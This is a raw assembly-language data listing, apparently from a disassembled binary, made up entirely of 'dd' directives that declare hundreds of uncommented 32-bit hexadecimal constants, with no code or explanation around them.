		dd 93F8B8AAh, 0B29000C9h, 0B5A83F68h, 0DC000A76h, 0B3FA8726h
		dd 4B8F4Eh, 0A6D72842h,	8488022Ah, 37DA2D2Eh, 789E1100h
		dd 0E86CFD7Ah, 5BF01462h, 0E703E425h, 0B1C212DAh, 0D8307CF1h
		dd 6A5CFE83h, 0DF0E00BCh, 4D6D1ABh, 790D5877h, 7682F400h
		dd 0DD80F7CCh, 5064C305h, 48C0F65Ah, 120B48A5h,	80CDC231h
		dd 14C871B4h, 0B44CCE7Ah, 0C74B03F0h, 65A107h, 4F69A11h
		dd 518B6A8Eh, 6F52ED00h, 77EC5569h, 3FF602h, 5F111960h
		dd 0B217362Bh, 82CC151Ch, 3DF0BBBh, 0C0A0A0A4h,	3C428ACBh
		dd 98008896h, 9024191Bh, 7A3C8558h, 9F9160E9h, 30FDBDh
		dd 0C2557EB4h, 0F27A8459h, 2BC10A9h, 0E42503ACh, 190E61A0h
		dd 0F81C3280h, 65B90049h, 6EDA767Dh, 9800C521h,	1D687FC8h
		dd 10BC5Dh, 0DDE1A2CDh,	8595A1A5h, 33546100h, 67F51D45h
		dd 863F00F1h, 59BEE019h, 0C01F5123h, 27CE9E57h,	0DE4B835Ch
		dd 219100D7h, 575E81E0h, 0A6E31D6Eh, 17807420h,	199585FCh
		dd 5E2A28DAh, 0BA21120Ch, 3070C1A5h, 0ABC899CCh, 61A858D0h
		dd 88CF007Ch, 0A57A59F8h, 0C318C2BDh, 39142845h, 0E17177h
		dd 0E7F551C8h, 69DBC504h, 2A660F1h, 947D0600h, 60D363C7h
		dd 0C3C90723h, 57495A13h, 0AC4D7017h, 6E00687Ah, 2E7F43B4h
		dd 0A1AF86h, 0C8529C6Ah, 38838B49h, 0EEAB4101h,	0B181A420h
		dd 0FC5DDF4h, 0CA1AA7BBh, 7B7A6320h, 0DE006709h, 1022BE73h
		dd 0A5E0B3h, 0D24AC06Dh, 5D01C3DBh, 0E6722707h,	5A7342AEh
		dd 101174A4h, 0E5F9F6h,	40030AFFh, 92BD2Ch, 0A0EB5B6Bh
		dd 2F498DA1h, 94BED100h, 3BCF8245h, 8B71126Eh, 0C06E03B7h
		dd 0EEB84CDBh, 1FEE25C1h, 69D73E00h, 2162D49Ch,	77C7528h
		dd 20BF975h, 0FFB4C04Ah, 3503CDC8h, 9BE7B0DBh, 88929177h
		dd 0ACE5D4h, 4F4B3952h,	3E0951B8h, 89498200h, 0F05CE62Bh
		dd 0AA1700C8h, 24C2E86Eh, 2D0093FCh, 7FB89C20h,	0AE380Fh
		dd 14CB6C32h, 22EC282Bh, 5D965600h, 0D052348Dh,	838C007Dh
		dd 975F1EC9h, 0FD004714h, 3A0F06B7h, 0C7CFBCh, 0EA6CD53Bh
		dd 4B2DB211h, 9EC0F501h, 7B024979h, 32F13180h, 46411286h
		dd 5E520505h, 0A400E0CFh, 58DB9DCDh, 4528DF53h,	611844Ah
		dd 0A9B99978h, 0FBF22300h, 573DF360h, 56A81D33h, 305170F7h
		dd 1A80E671h, 0B01203E5h
		dd 0D033F364h, 0D30E817Bh, 8256119Eh, 80F1C571h, 905F038Ch
		dd 30920F67h, 80BEBF7Ah, 1E1F4F7Bh, 0C4D2ABCDh,	513A24E8h
		dd 88F93280h, 834720B7h, 5A89E601h, 0B60A8D05h,	0E5D05180h
		dd 1B2DB96Ah, 2AF3BD00h, 1470E289h, 46631291h, 8D51024Bh
		dd 0E1807D9Eh, 0A177B4D0h, 0DC1AC600h, 1FD57FD8h, 3C41B7C1h
		dd 0D7B4ECC0h, 0D0C49101h, 7F54A98Fh, 9083E4DCh, 0F3020024h
		dd 273289A5h, 41006586h, 0A35FE099h, 7349AA66h,	0F6DE041Dh
		dd 808D2A3Ah, 0A0F9D5F7h, 0E85F2D00h, 681C733Fh, 32FC0049h
		dd 0ADF2A644h, 2602AB8Fh, 7183E882h, 427C48D2h,	7CCF77C8h
		dd 58EE7CA9h, 102B0F0h,	8DB48C9Bh, 251E16C0h, 0A9384C2Ch
		dd 0B6F5E300h, 0D2E804h, 18142319h, 83794D39h, 672B4Ch
		dd 0E8108EC0h, 1A6DD9h,	6C20EF68h, 0C6F2D4B9h, 64972800h
		dd 45E68890h, 7D7F01A9h, 56E48CADh, 5734C894h, 1255100h
		dd 0E6F6176Ch, 0AE450037h, 85FA047h, 0C91D4BD6h, 7D8E8CCAh
		dd 307EA084h, 75E92E10h, 68141250h, 0F5180070h,	4C6AFF2Bh
		dd 0EBDD9E00h, 0D4C6C4CBh, 171D98B7h, 541FABh, 5027F77Ch
		dd 0F6F2708Fh, 5F0EBF00h, 1BC0DCEBh, 99F13E17h,	0C6CAF080h
		dd 33773ED0h, 0D0D3C92h, 388E3679h, 2564DF4h, 0F9FC131Eh
		dd 6C407C18h, 89396E86h, 0DCAE006Ch, 0D1A5568Bh, 0FD770F1Fh
		dd 91003B07h, 0FB68EC1h, 11ADC712h, 59727443h, 0C0B4EAh
		dd 0C0678D10h, 31813D51h, 6D003E75h, 415A568Ah,	1BD29Eh
		dd 273FBCBAh, 70DDC59Dh, 65104D13h, 0FC3A050Fh,	0B46F5581h
		dd 91E4EC95h, 84ED00FEh, 4ED7A842h, 0A700B1BFh,	43F6B89h
		dd 2C5F5BC1h, 2A048h, 0B4CF47D7h, 6126404Fh, 31E9C2Ah
		dd 6789440h, 138E1C71h,	20C7F44Ah, 0AC2BAE78h, 0B582E76h
		dd 0D0C300EBh, 60E3BF44h, 384A1810h, 834F3881h,	9D8E1338h
		dd 0C0806FDFh, 0CA90ACB2h, 4B5D0C69h, 0CF280A3Ah, 21052300h
		dd 1D932603h, 541103A4h, 0A07FD2AEh, 91831100h,	0A27E97A7h
		dd 6A7FDEh, 4A463A5Fh, 693256B1h, 0F4EF1A00h, 27E9F1C2h
		dd 0A3C93928h, 0F3160EFCh, 1227070Dh, 0CF3BD0E6h, 0BA48A8FBh
		dd 258800C7h, 8D384278h, 0E58A0044h, 0D5599C9Eh, 0FB0051F0h
		dd 4E8153DCh, 0B8EF5DF5h, 0E0C8547Ch, 12BF0719h, 0C2B2787Fh
		dd 14481C63h, 527803AAh, 889D5630h, 0BADF0h, 0A2A5AE5Ch
		dd 9AA75B8Ah, 0D8EEBE30h, 3C82C4A8h, 170096C9h,	39DED0FDh
		dd 0F40E7881h, 38D1E3ACh, 6A22078h, 0CCD50136h,	0C4005859h
		dd 2C48E330h, 9ABD0712h, 1AED09C8h, 4700A134h, 478AFF2Ah
		dd 8D265B70h, 76007CD6h, 172137FEh, 0F296006Dh,	22DAB6B9h
		dd 580097CAh, 5CA07E30h, 0B0C1B4Fh, 6C85A921h, 0E6F38055h
		dd 169D65B3h, 1826BAh, 2E8160ECh, 980C90B7h, 19F01CCFh
		dd 7DC20416h, 902D3124h, 1358B7D4h, 0AB737773h,	0FD117903h
		dd 8016EFB3h, 5A3B606h,	54336A14h, 388780FFh, 46067AE6h
		dd 10BBE22Bh, 5E8F0FF0h, 3340D982h, 680DDC3Ah, 4CB338h
		dd 0FE6C3B5Dh, 50DF35C8h, 0C5AC19h, 10A69453h, 1EF7F31Ch
		dd 3CE70201h, 67DF2176h, 78E93C20h, 0E3263F2Dh,	485710E6h
		dd 2F15D201h, 870B91F4h, 3EF9920h, 29195D8Eh, 37F8C6D0h
		dd 0B5702D38h, 0A4164828h, 950E7E00h, 824F4AF8h, 0D5DB005Eh
		dd 0EB1C49BDh, 7907BA04h, 6BE3FD0Dh, 0B1140110h, 634B007Fh
		dd 6EC65F95h, 0F7B050Ch, 1E57A130h, 9EE5CAEh, 4D54B43Eh
		dd 0B2BB2C20h, 0FC006C41h, 0B76245A0h, 940472h,	0CBE903A7h
		dd 771078B4h, 0B900D892h, 5A54F737h, 797AEA0h, 4B75E1F2h
		dd 593A406Eh, 0C5006C8Dh, 7693EF87h, 1AC350Ah, 716809C9h
		dd 0FDAF960Dh, 0EC20C0C2h, 222AAE03h, 90F2B29Eh, 0CDF07Fh
		dd 8D619604h, 0FE7CA193h, 0E7EBB303h, 9898E2ABh, 486D3178h
		dd 92002F23h, 7DB3F165h, 2003CBB5h, 0C3DA24Eh, 3A52C0D8h
		dd 80C16449h, 0DAC90E1h, 700014B4h, 835355FEh, 0CB6D50h
		dd 0FC64E19Ch, 67F8C0B3h, 0F3A6D000h, 0D7CE6B9h, 0B80FFAABh
		dd 621400B8h, 0B02F4799h, 6B03958Fh, 76C7DDF6h,	616100E2h
		dd 0ECF8DB7Ch, 94015480h, 505613CCh, 9864A0E3h,	48DB5D39h
		dd 0C2740079h, 0CCAC5647h, 0E948AAFBh, 18C078B4h, 6F75F322h
		dd 29BB03A0h, 7739F950h, 0D9EFDFC0h, 504D8737h,	0F2BB8081h
		dd 0F2C70A0h, 3059C8EFh, 355AD81h, 0BC40C2A8h, 0EE602B6Ch
		dd 5EE3E7A9h, 0EF1EEA3h, 0DBFB903Ch, 0C1FF9525h, 402FF21Fh
		dd 75602558h, 98F9C383h, 7470E380h, 0F3680092h,	44F6A02Ch
		dd 0C800AAE8h, 4C32E4A8h, 38CFD8h, 8AD6D0C7h, 0F28D29F1h
		dd 1160F494h, 0CC331Ch,	908F8E45h, 849ACB73h, 9F281600h
		dd 0A6FB08B9h, 0A8B0096h, 24397A02h, 0DD1EBA66h, 9E3F720Fh
		dd 99004919h, 0BEAEEFF5h, 0B5C43B9Ah, 9CAA6800h, 0BADDDC8Eh
		dd 79A24800h, 0AF9ADBD6h, 3D83008Dh, 4B71AAAEh,	0DF00E2EEh
		dd 7CE11F93h, 0E796FAh,	81F68C8Dh, 9F776647h, 8459082Ah
		dd 0BCBC953Dh, 5851006Fh, 81F393E1h, 0D89A12FCh, 680020F8h
		dd 0C400EF7Bh, 0CB6914E9h, 306725FBh, 2C20839Dh, 0A00E4F36h
		dd 0E0E2599Eh, 41955F74h, 0E697002Eh, 5780A854h, 0F304210h
		dd 0C9E179A1h, 0FD7CFCh, 6ED7F17Eh, 0ED5DA8F6h,	27EA7400h
		dd 0F0675E55h, 92CD0078h, 0D1F825E4h, 892C46B7h, 3D02C3h
		dd 704D3E80h, 759B6BD6h, 23DA0058h, 9A6975FFh, 0E7615A5Eh
		dd 2F2035C1h, 9710682Dh, 0BE0900E0h, 813C9A59h,	0EB0A007Dh
		dd 0F3ABB516h, 71002864h, 416552DDh, 0F21F1h, 0A7BC5AFCh
		dd 0CB1470C8h, 6DC23300h, 0E7BDD0Ch, 55840052h,	0A7503DBAh
		dd 9A688030h, 86570411h, 1039A05Eh, 0ED77E200h,	0C15202A8h
		dd 0BC7D43h, 12338CC9h,	39375D7Bh, 0E1559806h, 2029ECA8h
		dd 67753DC5h, 737C4200h, 916CB58Bh, 56DB04DDh, 80C929B7h
		dd 3B867FC0h, 0D3005976h, 0C8502622h, 72FA95h, 2A0F433Dh
		dd 0FF01B5A3h, 241B3Ah,	2C3ACE83h, 4A3B90h, 0B2CDF89Ah
		dd 0BE9CF8Dh, 45E35700h, 0CB41B5FEh, 0D6261C07h, 5A7801EDh
		dd 60C5FF40h, 300C8ADh,	790DF62Dh, 0D63DE9h, 0B80BEA99h
		dd 5A8623F5h, 3A8F9A00h, 24A34484h, 0AD2C01A0h,	0C5F8FBF1h
		dd 8FE44057h, 27E9477h,	80450E3Ch, 0BE92AFBFh, 603D4AECh
		dd 558BD8C5h, 371C6749h, 4E45D0B7h, 0B0003C16h,	0AA2456ACh
		dd 0BB4D1FBFh, 61DF65h,	5A2E2666h, 0E9000BDBh, 0B58D6CE7h
		dd 8050D5h, 13D5710h, 4EC1A097h, 247B4300h, 0CA4793E5h
		dd 13360329h, 78491BBCh, 45F16A00h, 560950D1h, 8E590BC5h
		dd 92809084h, 0EA6A39FAh, 916BA100h, 94E6CD63h,	0FDF700B4h
		dd 43ECC43Dh, 4900698Bh, 3928E8DBh, 1D351E9Eh, 520AF6h
		dd 5EEDAD15h, 8E125842h, 18007B64h, 0AA43568Ah,	37EA59h
		dd 0E035282Eh, 0D123FE44h, 10CE7400h, 0ADBFE502h, 9140080h
		dd 0E08871A9h, 4E07BD1Dh, 0EA130BAEh, 7B5904E0h, 73460078h
		dd 25FA8E7Ch, 0F0005C4Fh, 974C5233h, 38D710Ch, 0DFFFD20Dh
		dd 3ECF443Eh, 62302A1h,	0B1020C5h, 7F4ED300h, 0CA0328F5h
		dd 5F6100C7h, 9C8E2214h, 66010740h, 2049785h, 0ADF9E96Bh
		dd 26AB806Eh, 380135ACh, 54401EA5h, 0DEC878BAh,	75EF001Fh
		dd 0C21A06ADh, 47003C88h, 38A1572Eh, 275F24DCh,	0C2E1218Dh
		dd 39C5DCA8h, 342B5502h, 0E0F943E3h, 0C03503Ah,	1B02A54h
		dd 83009178h, 472C58EBh
		dd 67CA1312h, 57CC1803h, 0D43A5018h, 0AF01A453h, 0ECC287DFh
		dd 3ED45F6Dh, 0E8CC607Eh, 56FF370h, 0C0F04A5Ah,	6A3100EAh
		dd 0D1CB4EE2h, 0A202AFC1h, 0E7E5862Ah, 43E8403Ah, 0B1F5009Fh
		dd 0E9782FB5h, 0A0011445h, 6C651C7Eh, 0CFE83D9Dh, 9FC5005Ch
		dd 0AACA8B3Eh, 70038F93h, 94EA0C84h, 0E81000ABh, 0DA31B4B8h
		dd 2A13F2EEh, 20407647h, 0A8E5BC5h, 0F3720045h,	9CF02D1h
		dd 0EE0E159Dh, 29923C70h, 5306805Bh, 0DFA1EDh, 7B9FA769h
		dd 0E1F05545h, 0C8C78F0Ch, 0D91174h, 229C2063h,	4D0AA878h
		dd 6FCB2B00h, 59052C3Dh, 58350133h, 60B1D7F2h, 0CFF72076h
		dd 1E1BD009h, 19B80056h, 13459D55h, 9E403h, 3BB1EE00h
		dd 5800AF7Ah, 57247897h, 4F27F2h, 5AA83821h, 6CAA827Dh
		dd 18EC8B0Ah, 0D71D9022h, 0B500A192h, 49FAE820h, 611F0015h
		dd 1BD28A6Ch, 9A005EB4h, 0F03C982Dh, 87998Fh, 539DD6A5h
		dd 78136B7Bh, 6E1CC8EAh, 9EC7F291h, 791027F6h, 0FBD30A9h
		dd 0B0AB1D8Fh, 437AEC85h, 0E2DA02D8h, 0F9812BD8h, 0FB00E6E4h
		dd 0A75D11EAh, 754CE053h, 9F11C17h, 8685C75Fh, 0F7519039h
		dd 0A600A32Dh, 0F8941B60h, 1470BC9h, 252CF585h,	0E0CAF040h
		dd 0C301BF20h, 0BBE3B08Fh, 7020A45Ch, 98228C0h,	0B69000A5h
		dd 60362369h, 80A0525Fh, 0DA002BDDh, 29F5A07Eh,	668882h
		dd 0F6708117h, 5667B605h, 0E711F226h, 8E13DB07h, 809E04F2h
		dd 54D10DD8h, 2EDF0369h, 9C22C801h, 1ED21801h, 81A18B0Ch
		dd 0C1B430h, 60BE3A26h,	8D351FF7h, 9A3C4400h, 376F52CEh
		dd 67720ED6h, 88C00CF8h, 16B31114h, 448A6600h, 0FF516A63h
		dd 49209877h, 9203F880h, 3809F9F2h, 0FE745AA8h,	521FA61Fh
		dd 0F440AAC0h, 0E2B934h, 0CA6F7F1Dh, 515A55EBh,	0DB000579h
		dd 0B047DDD9h, 78E49Bh,	3A7EDE2Ch, 0AAF7607h, 75D63800h
		dd 5B171FA0h, 8C9C0049h, 1C91E127h, 0C1387389h,	477700DFh
		dd 0C7E4AD81h, 4DD20053h, 11F9E5ECh, 84E2E27Bh,	0CCD4C000h
		dd 2C4C262Ah, 80E30330h, 0FAFDAF72h, 97B977F8h,	6DE9291Ch
		dd 0D9230380h, 7AD0ACC7h, 9E7B0B14h, 0E02E9D5Ch, 0C5B76DE0h
		dd 0F0004AB5h, 6A85A1CFh, 0AD7C70h, 0F84D22C4h,	60476D9Ch
		dd 4BC39314h, 993CECh, 0C966BCB2h, 1D2FB117h, 400BEE9Ah
		dd 0A973E58Fh, 7A063EE7h, 0ED35BF5Ch, 2B161D98h, 0C16A9E92h
		dd 9B5DC789h, 4FBAEC1Eh, 0AB53DC00h, 0F0987709h, 0C05B1C83h
		dd 9F342E80h, 0BF7DC0FBh, 0BDCE9970h, 22190874h, 0BE20273Ch
		dd 341B18BCh, 20001192h, 248897CBh, 60FA06AEh, 0BAF712F2h
		dd 0C27E403Ch, 0B856861Eh, 113F440Ch, 0B49000F8h, 0F9FB187Eh
		dd 8307EA7Dh, 0CEBE96Fh, 391986C0h, 0F430F9F8h,	0A93013Dh
		dd 7AC1C220h, 83A98206h, 0B0EF96E9h, 0A1FA3960h, 0C100FB1Ch
		dd 5006449h, 60DD93A7h,	736F684h, 81CBB654h, 0CCD7E04Ah
		dd 7F003BAAh, 435DBB79h, 38D066C3h, 8E00E785h, 0DBD2D6E1h
		dd 54002651h, 11C7658Ah, 0A400422h, 5CCD3DECh, 0BEDA004Ch
		dd 0D183F73Fh, 0B3399638h, 1DE0878h, 3FCDC521h,	0D154E32Eh
		dd 3062E836h, 0FE814600h, 3BA21A51h, 0F3C73FE9h, 0E230A57Dh
		dd 0E4183CD6h, 0C9B618B9h, 0E8FE5028h, 690CD490h, 5880F7C1h
		dd 55B53A47h, 30A6206Bh, 76F6DEC8h, 0EDD0A0ABh,	0E906C5BDh
		dd 0C13920FAh, 318B6009h, 0ADBD05DAh, 0CC8E39h,	0DFBE2D92h
		dd 605D7B15h, 1314B10Dh, 0B34CC938h, 7C3E30h, 0BD976C2Eh
		dd 0C13F9466h, 1BBFC780h, 8898BA9Dh, 32357506h,	0F2309590h
		dd 0E9BE11BDh, 0BFB588E2h, 9703EA39h, 0F7A8B6F9h, 0F9E5A6A1h
		dd 0BE42FC57h, 0E4D7D528h, 0DE2F371Dh, 50589A81h, 0B02B97EAh
		dd 60005AD6h, 57161AB5h, 0DFD29Eh, 0C30D6232h, 61041CF4h
		dd 3017F90h, 8254CF7Dh,	46D860FBh, 49C300B5h, 0B9A2EEF7h
		dd 790031F3h, 5D1D990Ah, 55F44Ch, 7D6CEDB5h, 20651AA1h
		dd 0A5921800h, 0BCE1B32h, 87A300ACh, 386DAB25h,	3300DC1Ah
		dd 3F9EEBB4h, 77124h, 160590B6h, 6281345Fh, 96BD1900h
		dd 0CFA15953h, 82C61EB0h, 455C005Dh, 0DC9DF815h, 62799BF2h
		dd 0B008D74h, 0C20C7072h, 7EB3874h, 54C70696h, 91654012h
		dd 0C00766B0h, 8C35A746h, 0A624740h, 0FA5F00B4h, 8AA802A5h
		dd 45EECE8Dh, 0DB3C8400h, 3D8710A1h, 0F81403EBh, 0EC314077h
		dd 0CD2BFBB8h, 0A7DB500h, 8D8845FEh, 530C3A57h,	0DFE56063h
		dd 0F8A0800h, 93CF593Bh, 0E2350096h, 57072C5Ch,	0FF0CE91Ch
		dd 78FBBD2Eh, 30D06C80h, 8CC9840h, 1B2D10E1h, 590397C0h
		dd 57A6D3E0h, 44FA107Ch, 0AC186F63h, 0B210086h,	0BF17B07Ah
		dd 4FB8A5AEh, 0B26B4A18h, 0C395D550h, 0C696DB61h, 4A748688h
		dd 6C69CB00h, 0FF9D2E14h, 600C3882h, 8C3B59E2h,	621C500h
		dd 0E52D0039h, 66449F42h, 7519238Eh, 32C0ED33h,	806A2880h
		dd 0F76CD727h, 0AD96CD1Bh, 9D0EA148h, 7AA2C18Ch, 1A1D29E9h
		dd 0D60037EBh, 316AF099h, 0CC803F76h, 3947A961h, 639BDD1h
		dd 0F13ED2C6h, 1871910h, 0FFD51952h, 0B1273100h, 389B10B9h
		dd 0A291C6CAh, 4007294Eh, 74D99814h, 7C4C806Fh,	11230EAh
		dd 2A1C3D4Eh, 0FAFB2557h, 0A6D16483h, 0F295902h, 0A543DE3Ah
		dd 0A8709FB8h, 58115C2h, 0FD36B811h, 5B5D8069h,	45054D01h
		dd 0B4989085h, 6158A84Ch, 0EB3500AFh, 76F97481h, 960002FBh
		dd 0E41BB55Ch, 0C21C3h,	70292D19h, 0F2A253Eh, 0CC72A50Ch
		dd 88FD4961h, 12004FD8h, 0F834EE5Bh, 905103Ah, 8CD4BAE8h
		dd 0A3A62410h, 81A2CD01h, 2D9B2F77h, 0A4A23102h, 9E244DCFh
		dd 0A573890h, 0EB7C8888h, 5F6212F0h, 0A080E511h, 0F7587DC8h
		dd 28F200CEh, 60BF1B72h, 0E806E44Fh, 3561DB34h,	3F0C1561h
		dd 2AC098A8h, 0F4803875h, 62D68700h, 98BEA49Dh,	0C329047Bh
		dd 70025441h, 77AFDB3h,	88D71731h, 0EA6E9075h, 0C706ECE3h
		dd 0AED844D2h, 68015071h, 903281E2h, 85880819h,	993CA20Ch
		dd 6B4B00C2h, 2BAB9378h, 6D033456h, 2E73886Ah, 300A6CE9h
		dd 0C1CE91AEh, 399F8ACh, 8478032Fh, 99B1D9FDh, 68150FEBh
		dd 1948BE5h, 23AB9BADh,	7991281Bh, 414F0002h, 1D718D5h
		dd 865601A5h, 1BB9D8B5h, 8F46DC2Eh, 8026F26h, 94D563h
		dd 3BF28E81h, 38B49E5Bh, 6DEEAB02h, 812DA979h, 87AFA6DCh
		dd 0EA69A180h, 6024CC4Dh, 18912E04h, 6880291Ah,	31254342h
		dd 31282A16h, 5AD8918Ch, 0D80FCC00h, 297E6C95h,	27211F00h
		dd 1BD61170h, 68166313h, 0A47BD5h, 3298F535h, 0D15500EDh
		dd 0BF9C7A94h, 0DC018AC3h, 0D0F8E281h, 0F89E1C33h, 6CF6802Dh
		dd 534EB00Ah, 1122BC90h, 5E44818Eh, 0C663F210h,	16FD2200h
		dd 2C95DD09h, 0EB0A033Bh, 421D4BBh, 8F68A2A7h, 0F380F890h
		dd 47997861h, 0C45082E7h, 370EA01h, 6F8B6CECh, 78764FEEh
		dd 4D80AD88h, 85CCC0CBh, 0BCA4D751h, 81426490h,	0DBB18878h
		dd 0B65ADE06h, 0E029B4E6h, 0CD2D8887h, 4807E503h, 0A303A8A9h
		dd 1413C2Ch, 0D200A140h, 5EE6D167h, 496A0Bh, 0F5A4B585h
		dd 0BBA224FDh, 24EFC07Bh, 50887E2Ch, 30E85801h,	79DB600h
		dd 0B1740F8h, 0FE8721C3h, 0A6A10B74h, 300E6F47h, 58442CB1h
		dd 80862488h, 3023F06Ah, 0C613C7D1h, 0B421CAC9h, 0A610750Ch
		dd 0F20308DBh, 2A4A57A4h, 30E1002Dh, 32E29E24h,	0D90C21DFh
		dd 58AB749Bh, 8C362A9Ch, 12824288h, 18BDBh, 2A50BCADh
		dd 52DC81A0h, 7F06B4A5h
		dd 1197AE33h, 3E043200h, 0A96DC270h, 99490085h,	2E40C911h
		dd 0AD31C0EFh, 0F2B1C983h, 73D8CBF0h, 6F3E266Eh, 72ECE098h
		dd 0A400ED68h, 49B111A0h, 5376484Ah, 570AFC1Dh,	408C8116h
		dd 9062C52Bh, 472D360Fh, 3BFEE708h, 595292C0h, 93D27C4Eh
		dd 30AA8008h, 1CF9D7BAh, 188C4A2Ch, 62006868h, 3137A59h
		dd 0DD72026Fh, 5E8BC814h, 0E8751B60h, 358068A8h, 0DC4F21Dh
		dd 18A0BB95h, 0B44996D5h, 1272ADh, 0E017748Eh, 6D4FF735h
		dd 0EC34BF00h, 4C6536D2h, 0D8484985h, 63398C30h, 511F0A28h
		dd 0F0268F52h, 16DD178h, 0FE07BB35h, 7E6FC032h,	18D1DF0h
		dd 0D6A9F10h, 0B0879590h, 71C5F948h, 0C9A2ED4h,	0A3E18A88h
		dd 801088A8h, 95B3F040h, 2DBF07C5h, 0C98A0A96h,	6703D4B1h
		dd 0C0984848h, 0DB3F36Dh, 7A30F2Ch, 0D2A02B12h,	0E5E3221Dh
		dd 7524AEE0h, 0E88A486Dh, 602C8DFFh, 7C8AC040h,	0D1A0309h
		dd 28484B51h, 338637A0h, 48882C48h, 70AACD20h, 0D67CF433h
		dd 1FBC00C9h, 779765D5h, 82803A48h, 64E748E1h, 0CC5F09F8h
		dd 68CFE28h, 1300C021h,	0AECDD09Eh, 726F84C1h, 0B88D4D2Ah
		dd 8A9D1680h, 7F0983C5h, 5FABD7Ch, 0C1C1067Ah, 0D44162ADh
		dd 998E90D5h, 5600EDA9h, 71BA6310h, 0FB4DE54h, 6848F942h
		dd 9F5CA622h, 880184C4h, 8B74B854h, 93D5E118h, 91F211h
		dd 0D776AA31h, 904E424Fh, 39B0FB31h, 961392CDh,	84E025B5h
		dd 0DC3811DCh, 79003B22h, 0F0D34145h, 4FEC0Bh, 0C45B9AFEh
		dd 1B56BB6Eh, 0D8B048F1h, 0F32B770Bh, 877491BFh, 6D507E10h
		dd 8E08EE00h, 2E522BCFh, 0A4A84D14h, 107B2887h,	4341D54Fh
		dd 79C13600h, 16DD2737h, 605A020Eh, 464E3BDAh, 0E8BC30h
		dd 0AA408BF7h, 39734F5Ah, 45E05D16h, 408CE472h,	14B769C3h
		dd 0A402962Ch, 9C46CBC8h, 66090C9h, 39472C5Dh, 77F92909h
		dd 79447CBCh, 418F65D5h, 0A19DC012h, 0E6743E65h, 0A44520D6h
		dd 0D4208C32h, 82830957h, 609198BAh, 188062F9h,	7A2951ACh
		dd 0B0A5248Fh, 0FEB20301h, 1CDBB78h, 0CC9AE0C2h, 80CC28F0h
		dd 5CDD9B03h, 0D3B00323h, 0EBBD63CDh, 99E5E118h, 3A701BD1h
		dd 8C010FF9h, 1913126Dh, 7063D1CEh, 9B0B9040h, 14EC7EEAh
		dd 73A230A8h, 533C8469h, 0F4AF2E01h, 1B7DCFDFh,	220F4C64h
		dd 80248CC4h, 24402CCEh, 0CD572C7h, 9E2947F2h, 4891CFF1h
		dd 0CBC84490h, 7957E6h,	3FB15FEDh, 0CCD65E12h, 0B5716D01h
		dd 887448DAh, 0E97DFC63h, 0D5250436h, 0DACF0023h, 0CBB4F6F8h
		dd 57B2400h, 0EF236044h, 0E89C480h, 982D4998h, 0D6AEFCh
		dd 671DA027h, 0A8E70499h, 112CA701h, 47FAC0CAh,	888ED434h
		dd 1A00A4D8h, 4B21A2CDh, 281D63DCh, 78D5C8h, 20E26C2Eh
		dd 21B14E8Fh, 43255B01h, 5E3B1B18h, 6A0C20h, 0EB16DCF7h
		dd 0D6E630B9h, 4A40565Dh, 0F3C98C20h, 0E5260EAAh, 79F9718h
		dd 63A34D75h, 0D11023C3h, 0CD808505h, 0FC41D499h, 0B2C8C4Dh
		dd 85D0547h, 2069A034h,	2057E2C4h, 0C48355B0h, 0BC4AFF4h
		dd 0AA4B7BFAh, 0E047D010h, 64618360h, 42FDA2h, 772BD614h
		dd 43F0B15Eh, 0DD96E400h, 292A0B74h, 30DA0515h,	88D33912h
		dd 0A8403DC0h, 38FC0067h, 4208DD41h, 5F07B0C1h,	0F94C2044h
		dd 0F33B94h, 4B0D390Ah,	9150B184h, 8B58602Dh, 0F3D51D88h
		dd 1A61064h, 0C2A40F29h, 809AE2A9h, 0D624CEB1h,	8523Fh
		dd 0FF20DA18h, 0AA4D7340h, 984C697Dh, 0AFC0DDACh, 0B71E5379h
		dd 6FEA03FBh, 43265821h, 8078A2A9h, 0A12D4889h,	17B5F90h
		dd 927EE070h, 5C4A8034h, 40008CDCh, 0D2CC242h, 1C615503h
		dd 883C6E05h, 4701EFD3h, 18EAAE70h, 67CDC160h, 8B3A89A4h
		dd 2C35BCA0h, 0D612E130h, 2C22D413h, 0CC63E039h, 9D180089h
		dd 0A291F1E4h, 5324E312h, 808420A1h, 0BC8C83D2h, 40FC9997h
		dd 0A69A2534h, 2DF13600h, 0EDD98B7Fh, 11A20250h, 62475D77h
		dd 0DE762BE0h, 9653EB39h, 4844AA5Ch, 0D8B60187h, 0C8A1058h
		dd 6C864BF4h, 5CF079A5h, 0CFCABC07h, 12B9E578h,	7C74600Ch
		dd 79A9C488h, 0A4202499h, 0FEFB55h, 750FA127h, 8211E4BDh
		dd 0FD428F09h, 9C140548h, 44314448h, 0C830563Eh, 3A49E0h
		dd 91EC626Ch, 0B6E357Ah, 9C872E00h, 0A5203CF5h,	26C9AEFh
		dd 39389B0Dh, 0FC4A42F7h, 320C1C61h, 0F4800958h, 0A40E48Bh
		dd 6F22153Bh, 34358B84h, 40876424h, 2526E849h, 0D103029Fh
		dd 0A81939FFh, 74AC7490h, 0F2F86700h, 0C828DC56h, 874804C0h
		dd 0C2521ABCh, 47209378h, 0E68E77h, 0E30A53B8h,	73AE224Ah
		dd 0E544450h, 0D73C8B42h, 97771EC2h, 806844CFh,	0A6CBF27h
		dd 8BC4109Fh, 0A8362A2Ah, 4700F494h, 9F40966Ah,	0C680095Bh
		dd 0FCCC8879h, 27308100h, 0ADB0E959h, 2ECA0EA9h, 106041F1h
		dd 0C5897794h, 0F94BF4A4h, 0A48CE064h, 5EB81321h, 7EF000A0h
		dd 0D8DD6E4Fh, 41C8551h, 0F8ECC714h, 0D8722D96h, 90B4CE08h
		dd 3C8944ECh, 5EFA9501h, 2FD13FC8h, 27D98A60h, 94304454h
		dd 770056BFh, 5A01DE73h, 0E74E03h, 0D2DDC28h, 81C7B787h
		dd 4C371728h, 248F6B27h, 88409D64h, 4B92FD11h, 89C61700h
		dd 8581731Dh, 3DB00404h, 4074A2B3h, 5107B283h, 0D15E091Bh
		dd 0D0A2AEE7h, 70591157h, 0E0E30D05h, 287BD401h, 9033F13Fh
		dd 0DC3C9851h, 0CFC5D7A0h, 0AB7BE600h, 0FEE90117h, 48D4B098h
		dd 9AC8B479h, 1600714Fh, 88DC4F74h, 701E802Fh, 8B54C2BCh
		dd 0F1058F38h, 9CCBC45Ch, 30588866h, 4EFA0A69h,	0D0A0900Eh
		dd 82A4F848h, 2F5C0D57h, 0A836899Dh, 0B0590838h, 0F0D47C09h
		dd 0CC2C014Dh, 0A8243625h, 74288886h, 1894C271h, 0CB7F3104h
		dd 94ACC0A4h, 0F1D480B4h, 78B642D1h, 6102F511h,	0C5240A28h
